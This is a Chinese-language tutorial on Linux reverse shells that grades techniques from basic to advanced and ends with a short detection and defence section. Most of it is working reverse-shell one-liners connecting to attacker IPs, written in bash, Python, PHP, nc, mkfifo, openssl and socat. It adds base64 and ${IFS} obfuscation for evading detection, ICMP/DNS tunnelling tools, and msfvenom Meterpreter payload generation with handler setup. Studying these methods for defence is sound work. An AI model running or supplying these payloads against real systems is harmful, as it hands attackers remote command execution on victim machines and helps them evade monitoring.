Linux系统下反弹shell的理解
字数 1300 2025-08-20 18:17:53
Linux系统下反弹Shell技术详解
0x00 反弹Shell定义
反弹Shell是指受害者机器主动向攻击者发起连接,使攻击者能够向受害者下发命令并获取命令执行结果的技术手段。常见触发原因包括:
- 运行了远控木马(如钓鱼邮件附件)
- 存在RCE(远程代码执行)漏洞
0x01 反弹Shell本质
反弹Shell由三个核心组件构成:
- 网络通信:可使用TCP/UDP/ICMP等协议
- TCP细分包含HTTP/HTTPS
- UDP包含DNS等
- 命令执行:通过以下方式实现
- 调用shell解释器
- 使用glibc库
- 直接系统调用(Syscall)
- 重定向机制:
- 管道
- 伪终端
- 内存文件
0x02 攻击手法分类
初级手法 - 直接重定向
1. Bash直接重定向
sh -i >& /dev/tcp/172.16.0.104/1234 0>&1
0: 标准输入1: 标准输出2: 标准错误>&: 合并标准输出和错误输出/dev/tty: 终端设备/dev/pty: 虚拟终端
数据流图示:
[攻击者] <--TCP连接--> [/dev/tcp] <--重定向--> [sh进程]
其他Shell实现
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.11.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.11.6",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
中级手法 - 混淆与中转
1. 命令混淆技术
- Base64编码:
echo "sh -i >& /dev/tcp/172.16.0.104/1234 0>&1"|base64
{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjAuMTA0LzEyMzQgMD4mMQo=}|{base64,-d}|{bash,-i}
- 使用
${IFS}代替空格:
/bin/bash -c bash${IFS}-i${IFS}>& 172.16.0.104/1234<&1
2. 流量加密
mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 172.16.0.104:1234 > /tmp/f
3. 管道中转技术
Ncat方式:
ncat 10.0.11.6 1234 -e /bin/bash
mkfifo方式:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.16.0.104 1234 > /tmp/f
- 创建命名管道
/tmp/f cat将管道内容传递给/bin/bash- bash执行结果通过nc传回管道形成回路
mknod方式:
mknod backpipe p; nc 10.0.11.6 1234 0<backpipe | /bin/bash 1>backpipe 2>backpipe
高级手法 - 隐蔽通信
1. 流量伪装
- ICMP协议:icmpdoor、icmpsh
- DNS协议:Reverse_DNS_Shell
2. 编程语言处理标准输入(无文件落地)
python3 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.0.11.6',1234))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"
特点:
- 每次执行命令启动新shell进程
- 执行后立即关闭shell
- 标准输入由代码处理
3. 伪终端(pty)技术
socat方式:
# 反弹命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.6:1234
# 监听命令
socat file:`tty`,raw,echo=0 tcp-listen:1234
Python pty方式:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.11.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
4. 非交互式Shell - 远控木马
MSF Meterpreter:
# 生成payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.11.6 LPORT=1234 -f elf -o /tmp/exp
# 控制端设置
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 10.0.11.6
set LPORT 1234
run
自定义Shell实现:
- 不依赖系统自带shell
- 通过编程语言实现命令功能
- 示例Python实现ls功能:
ls_shellcode = '''
import os
dst_path = '{dst_path}'
dirs = os.listdir(dst_path)
for file in dirs:
print(file)
'''
exec(ls_shellcode.format(dst_path = "C:/"))
0x03 检测与防御建议
检测方法:
- 监控异常网络连接
- 检查到外部IP的异常TCP/UDP/ICMP连接
- 分析进程链
- 查找包含管道(|)或重定向(><)的异常进程
- 检查文件描述符
- 查找将标准输入输出重定向到socket的进程
- 监控伪终端使用
- 检查/dev/ptmx的异常访问
防御建议:
- 网络层防护
- 限制出站连接(防火墙规则)
- 监控异常协议流量(如ICMP、DNS隧道)
- 系统层防护
- 限制敏感命令执行权限
- 禁用不必要的解释器(如python的eval功能)
- 应用层防护
- 及时修补RCE漏洞
- 加强输入验证
- 监控措施
- 实施进程行为监控
- 建立基线,检测偏离正常行为的活动
0x04 总结
反弹Shell技术从简单到复杂可分为三个级别:
- 初级:直接重定向标准I/O到网络套接字
- 中级:引入命令混淆、流量加密和管道中转
- 高级:使用流量伪装、编程语言处理和伪终端技术
防御方需要从网络、系统和应用多个层面建立纵深防御体系,同时加强监控和异常行为检测能力。攻击技术的演进也促使防御技术不断升级,形成良性的安全对抗循环。